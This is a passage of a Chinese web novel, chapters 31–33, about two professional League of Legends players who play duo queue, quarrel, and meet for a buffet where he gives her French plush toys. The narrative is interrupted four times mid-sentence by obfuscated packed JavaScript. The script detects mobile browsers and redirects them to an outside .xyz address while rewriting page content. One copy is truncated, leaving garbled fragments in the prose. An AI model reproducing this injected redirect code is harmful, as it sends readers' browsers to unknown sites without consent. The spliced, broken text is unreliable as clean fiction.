【姜汁汽水】：打什么？ 【白】：LOL 【白】：一区，来。 【姜汁汽水】：1 跟谁玩不是玩，而且真白每次开黑都会叫不同的女生来，运气好的话气氛会很好。她切了下账号和区服，很快把ID截图发了过去。等了几分钟，就收到了ID‘留我在雨季’的游戏邀请。 一进房间，已经有三个人了：Doom/留我在雨季/欣欣宝贝天天开心 ‘留我在雨季’头像的绿灯一闪一闪：“不——是——，什么意思啊！我喊你你不来，张新宇喊你你就来？” 汤瑶愣了下，结果房间一下子就满人了，她的话也就被噎在了喉咙里。 职业选手私下里关系没有那么紧密，偶尔娱乐也都是各自圈子里的朋友，另外两个似乎是圈外的朋友。因为不确定谁打AD，所以汤瑶先下手为强，轮到自己的时候秒选了奥恩，打算去上路打铁。结果楼下刚选了个卡莎的人顿住了，头像绿灯再次亮起：“不是，你对我那么大意见吗！歪，张新宇你管一下啊，她对我搞霸凌啊！” “关我屁事。”真白乐得见朋友吃瘪，“没事的瑶瑶，我理解你。这把我打野，我给你抓上，下把我打AD。” 汤瑶按键开麦，冷冷道：“你也滚。” 几个人都大笑起来。 五黑里面女生的作用就是调节气氛，玩得好不好不重要，只要偶尔说两句话就够了。游戏加载的时候，手机亮了一下—— 【Foppish】：你男朋友不让你玩辅助？ 【姜汁汽水】：我没有男朋友。 【Foppish】：？ 【Foppish】：那你甜蜜个鸡毛 【姜汁汽水】：非要是对象才能甜蜜？ 【Foppish】：牛 汤瑶压根不会玩上路，就算对线的强度不高，也打得满头大汗。真白倒没介意她的出言不逊，一直来上路帮顺便提款，临走还要惩个跑车。她憋了一肚子气，第二把就选了个奶妈去辅助，但偷偷点了小兵去质器。结果语音里两个人推推搡搡，最后还是变成了Foppish来打AD，害得她邪恶的计划直接泡汤。 Foppish选了个德莱文，众所周知，这个英雄在玩家心中的刻板印象就是少爷AD初代目。不看阵容，不配合队友，歧视除锤石之外的所有辅助，拎着两把斧头见面就是干，打不过就是辅助跟慢了。如果遇到软辅玩家，百分之八十会在左下角刷新出性别歧视的小剧场。 说来也巧，汤瑶平时看到有人秒选德莱文，就很喜欢掏出香香软软的索拉卡，而且要用咖啡甜心的皮肤，还一定要是女仆装炫彩。上线之后就在边上反复按回城键，召唤出小甜品和卡布奇诺。对普通玩家没什么影响，但能百分百恶心到非正常人。 很显然，Foppish并不挑辅助，或者他压根不在乎有没有辅助，一上线攒了个双刀就直接上了。 汤瑶连忙补Q给帮忙换血，虽然完全没有沟通，胜在对面水平实在不高，两人靠走位扭开技能之后扛着好几个小兵的集火顺利拿下双杀，只是因为走位激进，德莱文的状态不太好。她按了下TAB，看到对面打野是大师瞎子，于是开麦道：“兵线过去了走了，打野要来。你杀太快了。” 几乎是言出法随，话音刚落，单BUFF的瞎子就从阴影中踢出一个Q。因为提前有预警，所以顺手就闪现挡住了。她冷静的给Q拉开身边，催道，“补伤害啊，跟他换了。” 于是在她的牺牲下，德莱文喜提三杀加红BUFF。Foppish显然是爽到了，声音的尾调都在上扬：“可以啊。” 汤瑶并不吃这套：“干嘛说了你不听，刚让你走我都不用死。” “哎呀，我知道有人来的，但是娱乐嘛没那么认真。”Foppish这样解释，但很快改口，“行行，我的我的。对不起！下波你指哪我打哪，OK？” 嘴硬了一下，但是好像又没完全硬。 汤瑶见多了奇葩AD，这种认错态度已经算是非常好的了，也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326036|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再说话。 结果Foppish就开始了：“长官，上线你骗个技能，我还有闪现可以直接越。行吗？” 汤瑶觉得好笑：“不是我指哪你打哪吗？怎么你开始指挥了？” “申请一下呗，万一我俩想一块去了呢。” “呵。”她不置可否，“随便。” 游戏的玩法千变万化，但总有最优解。在水平绝对碾压的情况下，当然有通用公式， 所以汤瑶确实想得跟他一样，但嘴上不会承认。 她突然想到，认识foppish这么久了，这还是两人第一次走双人路。之前总在玩其他游戏，偶尔几次LOL，要么是在大乱斗，要么也是在跟真白走下，在今天之前，她对他AD的印象还停留在赛场上的表现。没想到对人的印象一般般，BOT体验却出乎意料的好。 要知道AD作为游戏定义里的绝对C位，这个位置的玩家往往和现实中令人讨厌的男性嘴脸有着超高重合度。充满爹味的男人想要在游戏里扮演carry性的角色，后果无疑是‘男’上加‘男’。但Foppish罕见的没有那种讨人厌的傲慢，既没有技术歧视，张口就是指指点点，也不会试图用油腻的腔调展现自己的魅力。最最好的是，在有分歧的时候，他愿意相信她的判断，事后不论好坏也不会多做文章。 如果Shark是块放了太多奶油蛋糕，Foppish就是一颗提神爽口的薄荷糖。 ……真白？真白是变质酸奶，看起来表里如一其实早就烂透了。 其乐融融的打了两个多小时，最后因为真白临时有事提前散伙。汤瑶意犹未尽，主动给Foppish发了消息。 【姜汁汽水】：你还打不打？ 【Foppish】：玩。 【Foppish】：你搜一下，下个特战英豪。 【姜汁汽水】：…… 【姜汁汽水】：我是问你打不打紧张刺激的英雄联盟 【Foppish】：[微笑]英雄联盟一点都不紧张刺激 【姜汁汽水】：行呗。 【Foppish】：…… 【Foppish】：你还要打什么 【姜汁汽水】：我帮我朋友上个大师，来双排。 【姜汁汽水】：算了，不勉强。 【Foppish】：…… 【Foppish】：给我扫个号。 人是喊来了，但是莫名其妙有股无名火。 Foppish一无所知，简单翻了一下元宝的账号，还点评上了：“有品位，这个冠军皮确实好用。对了，你打到什么时候？” 汤瑶越听越烦：“你不想玩就算了，现在就可以退。” Foppish发出奇怪的猴子叫：“干嘛啊？卧槽，我说什么了？我问问你而已！” 汤瑶委屈得不行，平时都是别人求着她一起玩，好不容易主动喊一回人，还被这么嫌弃。她越想越气，怒道：“你去玩你的特战英豪吧！”直接退了游戏。 31. 第 31 章 Foppish的CPU一下子□□烧了：“不是，啊、什么啊！发生什么事了？” 他犹豫了半天，还是给她打了个语音过去。 响了很久很久，几乎在系统挂断前几秒才接。 “不是…姐姐~！我不是都上号了吗，你生气也要有个理由吧？我、到、底、怎、么、了？！” “哦。” “你……你哦个屁，说话！” “说什么？我就是觉得没意思。”汤瑶平静的说，“每次你喊我，我都是跟你打到你不玩。我就喊你这一次，结果还没玩你就问我什么时候下。真没必要，我也不是非要跟你玩。” Foppish真是服了，语音那头嘶嘶抽了几口凉气，语气冤枉到都快从屏幕里爬出来了：“那还不是因为上次玩太久了害得你骂了吗，我怕你又忘记时间啊。就算你来跟我玩别的，我也会问的啊。” “……哦。”这样吗？汤瑶挠挠鼻子，发现好像这么解释也没问题，“真的？” “老子真是服了，这事有什么骗你的必要吗？” “哦！”她把刚洇出来的眼泪收了回去，重新联系借号的人扫码，“好吧。” Foppish对女孩子的心思不够了解，但耳朵很灵，隐隐约约感觉到她语气里的颤抖，所以并没有生气，更多多的是无奈：“你是什么牌子的小炮仗，怎么没点也着？” 汤瑶脸不红心不跳:“呵呵，男人果然是天生的PUA大师，煤气灯效应张口就来。明明是你态度不好惹到了我，现在还要反咬一口说我脾气不好。” 她的嘴怎么这么厉害啊！ Foppish深吸一口气：“你……算了，算了。我不跟小孩子计较。” 哈哈哈哈这人怎么这么好玩！ 汤瑶属于弹簧人，遇强则弱遇弱则强。碰到软柿子就使劲捏，看他忍气吞声，就忍不住咄咄逼人：“怎么还搞年龄歧视，你也没比我大两岁。” Foppish这下真要红了：“……行，行行！好，那我就跟你计较一下，我说你……” 汤瑶最懂审时度势，见状立刻精准控温，放软了声音：“哎呀哎呀，哥哥我错啦，还是不要跟我计较了。” Foppish在屏幕那头从脸红到了脖子根，硬是咬了下舌头把话憋回去了。虽然她过分得不得了，虽然她就是故意在惹怒自己的界限反复横跳，虽然她的楚楚可怜也是拿捏自己的手段，可……也不是什么大事，让她得逞也没什么关系。 汤瑶挂了语音，但是忘记游戏里的自由麦，进了房间还在狂笑。 “有那么好笑吗？”Foppish很幽怨，把房主交还给她，“我都没跟你计较过。” 汤瑶的脾气来得快去得快，点了开始游戏：“我怎么啦？” “……算了，没什么。”Foppish不太擅长斤斤计较，尤其是和女孩，“这号上赛季大师，应该打得挺快的。你打完早点回家吧。” 汤瑶说：“我不用回家。不过……我确实要早点睡，明天要出去吃好吃的~”知道他要问，所以提前解释了，“在家装个电脑也用不了多长时间，我就直接在电竞酒店这边短租了个房间，偶尔回去。” “这样，你家里人不担心吗？” “我在基地的时候也没担心过我啊。” Foppish听得有点不是滋味，又不知道能说点什么，沉默了半天，等进游戏冷不丁问：“吃什么？” “吃自助。”汤瑶说，“商场里新开的一家店，它居然敢卖429！我这里可是三四线城市，敢卖这么贵，我高低要去看看有没有卖炭烤葫芦娃。” “你在哪里？” “我在Y城。” “啊，Y城是哪？” “Y城在H省，很小的一个地方。” 游戏里的人物在泉水里突然停住了，等汤瑶都走到二塔了，那边才出门：“竟然还挺近的。” 无语，一样的笑话说两遍就不好笑了！ 她问道：“隔了条小河那么近？” “还真是。而且真很近啊，就是我之前不知道你这个地方。”他说，“怎么说，我自带碗筷，让我也尝尝高端自助的咸淡？” 汤瑶不以为然：“行啊，你来。你来了我肯定请你吃。不过你能不能先上线，你到底要在高地站多久？” “卧槽，我没点上地方，我以为我都过去了。”Foppish赶紧上线，“草，我的兵线！草，我的炮车！” 虽然开头有一点儿不愉快，总的来说汤瑶的预感没错，和Foppish双排比和Shark双排好玩得多。可惜元宝每赛季都是单双大师，隐藏分很高，连胜了几把就结束了。第二天还要早起化妆打扮，就没有再借号继续。甚至也没有问下次是什么时候一起，因为她不想表现得太主动，简单到了个别，就去洗漱休息了。 * 第二天叫醒汤瑶的不是闹钟，而是一个意想不到的电话。 汤瑶迷迷糊糊的看见是微信来电，脑子也没转过来，接起来之后有气无力的说“快递放楼下丰巢柜子”就挂了。结果该死的手机还一直震一直震，她忍无可忍，坐起来一看，发是Foppish的电话。又是一股无名火烧了起来，她接了电话就骂：“你烦不烦！我都说了我今天要出门要出门！” “……你放屁，你都没醒！” “我什么时候出门关你屁事！” “拓麻的当然关我事了，我又不认识路！你赶紧来接我啊！我都在网吧呆俩小时了！” “……哈？”汤瑶懵了，她怀疑自己没睡醒，“你在说什么？” “我在Y城啊，我现在XX区XXX路123号XX网咖203号包厢。” “不是。不是，你等一下……”汤瑶看了下屏幕，确认是Foppish，又拍了拍自己的脸，确认不是奇怪的梦，“你不是在Fà国吗？！” “我都回来好几天了啊，而且我最近就在H省隔壁W市，到你这儿高铁就四个小时。昨天真白还问我了，你没听见吗？” 完全没听见。她跟他们又不熟，当然不会仔细听他们聊天的内容了，估计那个时候正在和炮车斗智斗勇。 “……我知道了。”汤瑶恨自己口无遮拦，但现在说什么都迟了，“呃，你再坚持一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326037|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，我过会去找你。” 两个小时后，汤瑶光鲜亮丽的出现在了本市最繁华的步行街街头。 就是在这个地方活了十几年，真还没看过门牌号。她握着手机，眯着眼睛到处找：“什么丽人时装，我印象里怎么没有……26号……这是17号，19号……唔，这定位不准啊。真是，神经病，到底什么人脑子一热就坐四个小时车过来就为了蹭顿饭啊……职业选手有那么差顿饭钱吗？429这不是要我命吗！看着挺阳光的一个人，怎么这么喜欢占便宜……” 她还在嘀嘀咕咕，脑袋被拍了一下，本能让她惊叫了一声：“谁啊！” 捂着脑袋一转头，然后就愣住了。 Foppish就这么出现在自己眼前。他穿了一件很复古款的红白相间皮夹克，里面是简简单单的纯白T恤，脖子上挂着一个黑色蓝牙耳机。在这个有些尘土飞扬的小城市里，他简直亮眼得不在一个图层。更何况，他还有一张比穿搭更权威的好看脸蛋……怎么之前没感觉他这么帅？ 他狐疑的盯着她：“你嘀嘀咕咕说什么呢，我好像听到你骂我了？” 面对面时汤瑶撒谎也不慌张，咽了口口水就开始胡说八道：“这一定是你饿晕前的幻觉。” “我不饿。”他说，“来之前在网吧吃过炒面了，还别说，你这儿炒面挺好吃的。” 汤瑶生气了：“喂，我请你吃自助，你还提前吃东西？” “谁知道你说的一会儿是两个小时啊！！” “那你也不能吃自助前吃东西啊！！！！” 只是说话的声音稍微大了点儿，就连街边店里顾客们的目光都跟了过来。 小城市就这点不好，放个屁都有人关注，而且Foppish也太花枝招展了，街上的行人多多少少都在看他。 汤瑶的脸有点发烫，扯着他的袖子就把他往商场里拽：“行了行了，你先跟我来。” Foppish对于陌生的城市充满热情，好奇的左右张望：“哇，我刚刚看到那个前面有个好大的充气城堡，感觉很好玩诶。我都没有来过这种地方。而且这里停车费好便宜，一个小时才6块，早知道我开车过来了。” “你……你有病？” “你~有~病~”Foppish学她说话，他个子高，跟她说话总要低着头，然后降降盖住额头的刘海就会掀起来，露出非常英气的眉骨，睫毛特别黑，浓密的几乎连成一条线，笑起来的时候眼下还有浅浅的卧蚕，“嘿嘿，我突然发现，你游戏里和现实里不一样。比如如果在游戏里你骂人，你一定是很大声的——你有病啊！但是吧，刚刚就不一样，你刚刚骂人像撒娇。哈哈，你~有~病~” 汤瑶除了跟同学去网吧，最多下机了一起吃碗面，还真没有单独和男生相处过。如果可以选，她当然不想第一次约会的对象是这个人，一想到这人马上就要浪费自己四百大洋还在这里嘻嘻哈哈，更是气不打一处来。她恼羞成怒，抬手就给了他胳膊一拳：“闭嘴！” Foppish象征性的哼了一声，大概安分了两秒钟，他幽幽的声音又从她头顶飘过来：“你打人也像撒娇~” 32. 第 32 章 大概是新店开业，自助餐厅的生意相当火爆，不是饭点也有不少人。好在不用排位，进去之后汤瑶转了一圈，找了一个靠窗的角落卡座。Foppish刚坐下来，忽然猛地弹起来，两只手摸着口袋，一脸茫然。汤瑶奇怪的看着他：“干嘛？你屁股被针扎了？” “我靠。”他摸了半天，从口袋里摸出了手机，“我有东西落在网咖了。” “那你去拿呗。”汤瑶是真饿了，而且她刚刚一进来就看到水果区有现场切分的榴莲，可是有这么个人在边上，她不好意思去拿，走了正好，“反正我们这个档位不限时。”她说话时头也不抬，扫了码之后就在专心点菜，“你最好跑两圈饿了再回来，不然你真什么也不吃我真会生气！” “我尽量……” Foppish叫了个车，接电话之后就走了。 这座城市确实不大，出租车的起步费才8块，软件上叫车的话一来一回甚至不到15，付钱的时候他都觉得亏心。网咖的工作人员也很好，收拾的时候发现了的东西，只是因为没开会员所以没有联系方式，只好收在了前台，见人回来拿，也很爽快的就给交还了。 不到二十分钟，他就提着蓝色的袋子回到了餐厅。 远远的就看见桌子摆着一个巨大的海鲜拼盘篮和各种风格混搭的菜式，以及被挤到边缘的两盘榴莲和一盘西瓜。 汤瑶脱了外套，把原本披下来的长发扎了起来。里面穿的是一件淡紫色的紧身连体针织裙，胸口的位置有个镂空的爱心，莹白的肌肤白晃晃的露了出来。她撸起袖子，正在把拨好的半盘子虾一只一只往筷子上扎，腮帮子被食物塞得鼓鼓的，像只毛茸茸的小仓鼠。她的那双大眼睛眨巴眨巴，没有对出片的执着，全是对美食的渴望和专注。 Foppish觉得她可爱得不得了，随手一递，把袋子扔到了她边上：“给你。” 她像只受惊的小兔子，扬起圆圆的脸看着他，惊恐但是不忘记咀嚼，看了看他，又看了看袋子：“j-e-l-l-y，cat，这个好像刷到过，有点眼熟诶。”又挺起身子往里面看了一眼，“什么呀，诶，玩偶吗？” 她也顾不得吃了，放下了手里的虾，用湿纸巾擦了擦手，把袋子放到膝盖上开始看，“这么多？” 说着拿出最大的粉色邦尼兔，“哇，这个好软好可爱。”说着把兔子放到了一边，又从袋子里摸出一个粉色微笑圆球，“这是什么，咦，还有个绿色的。” “这是马卡龙，好像是法国限定。” “这个呢？卧槽，这个小扁扁的小南瓜好可爱！” “这个……这个好像是可露丽吧，也可能是南瓜，我也不知道。” “这个呢，哦！这是柠檬挞是吧？哇塞这个也好可爱！” “啊啊啊……这个是碱水包，还有牛角包！啊……好多……啊啊好可爱好可爱！！” 汤瑶拿起一个扁扁的柠檬挞放在头顶，冲着男生扭来扭去：“可爱吗可爱吗？”问完才发觉似乎过于亲昵了，又不好意思的放下来。她把小小的玩偶抓在手里，腮红之下又透出一层淡淡的粉，“真的送我啊？你在法国专门给我买的吗？为什么？” “不是啊。是那天徐知睿让我帮他代购，然后去都去了，好像别的地方限购，巴黎不限购，我就顺手多买了点。” 汤瑶没听明白，困惑道：“什么意思，所以这些其实是你本来打算当黄牛坑他，结果他没当冤大头，失策了才砸手里的吗？” “拉倒吧，这点玩意代购能挣个鸡毛啊。”Foppish有点尴尬的抓抓头发：“呃，怎么说呢……为什么买呢……我也没仔细想过。反正，现在都是你的了，想那么多干嘛。” 汤瑶觉得很有道理，这样一想，这顿饭请得就不亏心了：“好吧好吧。谢谢你Fo……呃，对了，你叫什么来着？你是不是姓陈？” 男生的表情一下子很精彩，他哭笑不得地顶了一下腮，几次开口，最后无语到笑出来：“你还给我！” “哎呀对不起嘛。”汤瑶手速飞快，已经在百度百科里找到了答案，“李~君~诚~对不起！” 李君诚感觉耳朵已经烧了起来，赶紧摆手：“行行行了闭嘴闭嘴。” 汤瑶相当狗腿，连忙点头：“没问题没问题！”果然不说话了，只是拿手机把摆出来的玩偶们拍了下来发给元宝，然后才小心翼翼装回去。感觉到落在自己脸上的目光，她就看回去，露出一个大大的笑容，“嘿嘿。” 【元宝】：？？？ 【元宝】：我的天呐，你买了这么多？ 【姜汁汽水】：[可爱][可爱]送的 【元宝】：吓死 【元宝】：我以为你冲动消费到把存款全花了 【姜汁汽水】：啊？没有那么恐怖吧？ 【元宝】：这个是jellycat呀！而且你这个里面好几个是法国限定，现在只有国外才能买到。40欧一个呢。 【姜汁汽水】：？ 【姜汁汽水】：40欧？？？！！！！一个？？？！！！ 【元宝】：不全是，但是均价差不多就是这样。 汤瑶瞳孔地震，立刻搜了一下现在的欧元汇率，然后又不可知悉的数了一下袋子里的玩偶。 【姜汁汽水】：卧槽，总共有12个啊。 【元宝】：？？？？啊 【元宝】：谁送你的？？？ 【姜汁汽水】：Foppish…… 【姜汁汽水】：他现在在跟我吃饭…… 【元宝】：什么情况？？？ 汤瑶鬼鬼祟祟往对面看了一眼，发现人家耳机已经戴上了，两手捧着手机，又不知道在玩什么，这才放心打字，把来龙去脉跟她说了一遍。 【姜汁汽水】：其实我有点感觉他就是专门给我买的 【姜汁汽水】：不过他没承认，我也不想问到底。真说明白了就好像欠他更多了。 【元宝】：你小心点哦。 【元宝】：男人一般不会无缘无故这么大方 【元宝】：这一袋东西都够吃好几顿自助了，他这么舍得，绝不是只图一顿饭 【姜汁汽水】：什么意思？ 【元宝】：你现在问他订酒店了没[微笑]我打包票他肯定说没有 【姜汁汽水】：。。。 【姜汁汽水】：我好像懂你的意思了 大概是偷看得太明显，李君诚抽完卡一抬眼，正好和看过来的女孩四目相对。 他摘下耳机，坐了起来：“干嘛？看我下饭？” “我记得你说你是通宵到早上坐车过来的吧，那你岂不是到现在一直没睡过？” “高铁上睡过了啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326038|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你现在不累吗？” “还行吧，我想去那边那个充气城堡看看。” “不许去！那个是小孩子去的！” “哦……好吧。”他很委屈，“可是我都没见过那种东西诶。” “不是，说到哪儿去了。我是想问你你订酒店了吗？你不休息吗？” “没订啊。”他说，“休息也不是非要去酒店吧。” 汤瑶立刻了然：“哦~~”她没觉得生气，主要还是因为对着这张脸很难想出什么尖酸刻薄的话。这样的大帅哥对自己有图谋，说不定谁吃亏呢。 说到底她还是太年轻，无畏到让人觉得愚蠢。她并不是打算为了一袋子玩偶就感激涕零到想以身相许，只是单纯的认为一切都会在自己的掌控，“你好歹吃点，实在没事干帮我剥虾。” 结果被拒被无情拒绝：“马上五点要开副本了，我还好多体力没清。” 但也不知道为什么，说是这样说，看汤瑶很失望的垮下小脸，又有点于心不忍。 他最后还是端走了那盆虾，用两根手指头生疏的扒拉着壳，嘀嘀咕咕说，“妈的，你还连吃带拿，我来给你当佣人了……真是的，我平时都不吃这种很麻烦的东西。” 汤瑶觉得这都是他套路的小伎俩。 男人么，为了脑子一热的那点冲动可以费尽心机，做什么都不奇怪。 “对了，你是W市人吗？” “不是啊。” “那你在W市干嘛，又旅游啊？” “不是。去年买了个车，一直没机会开，结果刚回来就发现坏了。然后它那个发动机的配件很难搞，来W市这边有朋友让帮忙看看。” “啊？车还会不开就坏吗？什么车啊，质量这么差！” “马自达。也不能说是质量差吧，毕竟是停产很久的车，没有售后就是比较麻烦。” “好吧，没听说过。”汤瑶对这种高消费的商品了解为0，也不感兴趣，“二手车买了还不开，浪费。” “收藏嘛，买着玩，本来也不是为了开。” “……真羡慕你。”汤瑶咬着插在可乐里的塑料吸管，嘴唇上的粉色染了上去。想想SOVA都住上了S市的中心区大平层，就算年年世界赛一轮流的选手在老家也能买楼投资，她就酸得冒泡泡，“我还得明年这个时候才能上联赛呢。” “呃，其实……算了。没什么。”李君诚欲言又止，换了个话题，“你这赛季LDL不是拿名次了吗？我还看你朋友圈了，亚军很不错了，而且你数据在LDL辅助是第一，我还以为竞标怎么也是前几名。” “别提了。”她重重叹气，“LPL现在本来也不缺辅助，就算缺，也不愿意为了补个辅助专门准备女选手的住宿开支什么的。有这个能力的看不上我，真想要补强的，也宁愿去买第二第三，便宜又好用。联系我的只有让我去二队的，因为现在不少二队和青训都有女生，但是二队有什么好去……浪费时间。我们经理说没办法，就只能等等，说不定成年后能直接上场机会能更多点。” 他看她苦着一张脸，跟着也叹气：“唉，也是。”想了想说，“没事，等张新宇滚了你来AWA。” “切，我才不要呢。”汤瑶白他一眼，“像我这种辅助等成年了，肯定去哪个战队都绰绰有余，轮得到你收留嘛！我要自己挑！” 33. 第 33 章 大概是从来都不怎么幸运，汤瑶对于身为亚军却无人问津的事实接受得很快。毕竟就算有人签约也没办法立刻上场，换一个环境的话又是新的队友新的磨合，一年多的时间不知道要经历多少变数，对现在的她来说，安安稳稳的保住工作才是最重要的。至于什么标王的超高竞价，转会的签字费什么的……想想是很羡慕，但不想也就没事了。 李君诚慢吞吞地剃着虾肉上的碎壳：“行行行，你自己挑。你是蒙多，你想去哪儿就去哪儿。” “老土。”汤瑶不怒反笑，忽然又开始念他的名字，“李君诚。”她夹起一块鱼籽寿司，大大咬下一口，“李。君。诚。”一边咀嚼一边反复咂摸这个名字，最后摇摇头，“你这个名字好土哦，听起来年纪很大。但是我记得你比真白还小好几岁吧？” 怎么莫名其妙就开始人身攻击啊！ 李君诚愤怒地扔下虾肉，不甘示弱道：“那你也没好到哪里去，大街上叫一声瑶瑶少说有八个女生回头。现在游戏里的随机起名说不定都比你的好！” 现在汤瑶有点后悔没跟他坐在一边了，不然这种时候她就可以抄起手边的食材塞他嘴里。 可是她只能干瞪眼，想了半天也找不到回击的角度，就算知道只是无心之言，可就是不受控制的在脑海里反反复复重播着他的话。 是啊，没有人为自己的出生喜悦过，也就不会有人想要用心的证明自己的存在。汤、瑶，就是个普通又烂俗的名字，汤瑶，也是个可怜又平凡的倒霉鬼。 李君诚看着女孩噎了半天没说话，还洋洋得意，结果两秒后就看着她那双漂亮的大眼睛浮上一层水雾，再两秒，一颗饱满剔透的眼泪滚落了下来。 他手忙脚乱，起身的时候不忘用毛巾擦擦手，绕到了另一边挨着她坐下：“对不起，对不起，对不起对不起……我错了。”虽然暂时还还没想明白错在哪，但是先道歉了再说。 因为是公共场合，汤瑶很用力地咬着嘴，只是嘶嘶抽气，只有眼泪哗啦啦的淌。刷过睫毛膏的下睫毛和经过多道工序的卧蚕全都被晕成一团。她没有生他的气，更多的是气自己太脆弱。想要说两句解释，可心里的那股委屈又排山倒海的席卷过来。 “不是，我……我……”李君诚比赛时接双龙汇的团都没这么紧张过，偏偏是这个女生说话，动不动就要烧得脑容量过载。他抽了几张纸，胡乱往她脸上按了几下。然后一把捧住了她的脸，像搓面团一样搓，试图用外力稳定她的情绪，“那个，那个……呃，没关系的，虽然瑶瑶满大街都是，但是汤瑶只有一个！你是最独一无二的汤汤！” “以后我叫你汤汤好不好？嗯？汤汤？” “好不好嘛？汤汤？汤汤汤汤汤汤？” 男生的手单薄但大，掌根托在嘴角附近，手指就已经穿过发梢拢住耳朵了。他的外套还有很重的皮革味道，但一点也不刺鼻，反而是类似烟熏，又有点甜的复合香味。突然紧密接触竟然如此温暖，好闻，充满不恰当的荷尔蒙张力。 汤瑶确实在元宝的提示之后偷偷幻想了一些烂俗的言情桥段，但绝对不是这种情况。 而且她也高估了自己对异性接触的承受范围，光是现在这样就太让人害羞了。害羞到她已经顾不得伤心，流不出眼泪，抽噎了几下，就赶紧推开他：“滚开啊你。”她拿起纸擦眼泪，看到洇在上面的黑色印记，更是死如死灰，“完蛋……妆全花了。” 李君诚很识时务的让开足够的距离：“对不起嘛，汤汤。” “没事啊。”汤瑶是真心话，“不怪你，是我太玻璃心。”刚刚哭过，说话还带着鼻音。因为倔强的想要控制表情，所以鼻子皱起很可爱的纹路。她专注的看着镜子，很麻利的用粉扑按压眼下，“跟你一点关系都没有。我就是……最近心情不太好。” 李君诚当然知道。 他能从她的反复无常中感觉到她的脆弱敏感。 客观来说，她像一只会经常出现在小区里的野猫，狡黠独立，而且一点都不可怜，她从不通过翻肚皮的方式尝试争取遮风挡雨的栖息地，总是能聪明得找到食物和水，把自己养得漂漂亮亮。只有心情好的时候恩准人类摸一摸它柔软漂亮的毛，心情不好就弓起身子，亮出尖尖的爪子恫吓所有试图靠近的生物。 虽然被拒绝的时候会因为这种不近人情伤心，但如果得到了准许靠近，摸到了她打着呼噜的柔软身体，那种荣幸和满足感又无可比拟。 “嗯，没关系。”他想了想，站起来把放在另一边的盘子端了过来，“嗯……吃虾！这边虾还挺新鲜的！” 汤瑶很利落的补好妆，就是眼睛还是红红的。盯着虾看了几秒，气鼓鼓举起叉子扎了上去：“就剥了这么几个，真没用。” 李君诚拿起西瓜咬下一口：“有得吃不错了，你想想我要不剥，这几个你都吃不上。” 她并不满意，挪了一下位置，给了他一肘，“滚那边去，影响我吃东西。” “妈的——行，行！我滚。” 风波过去，一切恢复正常。本来李君诚不饿，但是看汤瑶吃得实在很香很可爱，胃口被调动起来，于是也去挑了点感兴趣的回来吃。 就是又被吐槽自助餐居然选主食。 汤瑶吃吃停停，最后感觉都噎到嗓子眼儿了，就捂着肚子靠在角落里休息：“哇……我感觉我很饿，怎么没吃多少就撑得不行。” “吃不下就不吃了呗。” “可…嗝儿……可是，很贵欸。我付了两个人的钱，现在最多吃了半个人的量。” “自助餐也不是非要奔着回本去嘛，只要能吃到平时想吃又吃不到的就行了。虽然说浪费可耻，但是胃撑坏了就不好了，再怎么说，身体总比这几百块重要吧。”他想了想，说道，“这样吧，回S市我请回你。我看你很喜欢吃海鲜和寿司，那就吃日料吧，可以吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326039|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤汤。” ‘汤’这个字实在不浪漫，不像‘瑶’那样，只要抬起舌根，轻轻拢成一个圆，喉咙自然而然的就把这个缱绻的尾音带出来了，‘汤’读起来要更用力，发音的时候舌根要抵住软腭，让气流从鼻腔通过，才能让后鼻音通过共鸣发出来。 李君诚有试图把第二个‘汤’字放得轻一点，然而听起来还是很笨拙。 恰恰是这种生疏和怪异，让汤瑶拥了“特别”的殊荣——原来自己也可以有与众不同的时刻吗？这是她第一次对自己的姓名有了微妙的归属感。 “嗯。好吧。”汤瑶的语气似乎勉为其难，但说完就迫不期待站了起来。 小地方的商场确实还没路边摊精彩，餐厅在六楼，两人一层一层下去，放眼望去能说得出名字的也都是在S市奥特莱斯才有的常客，下到一楼，倒是有些大牌化妆品柜台装得琳琅满目，但不论是哪一种，都不合适他们闲逛。 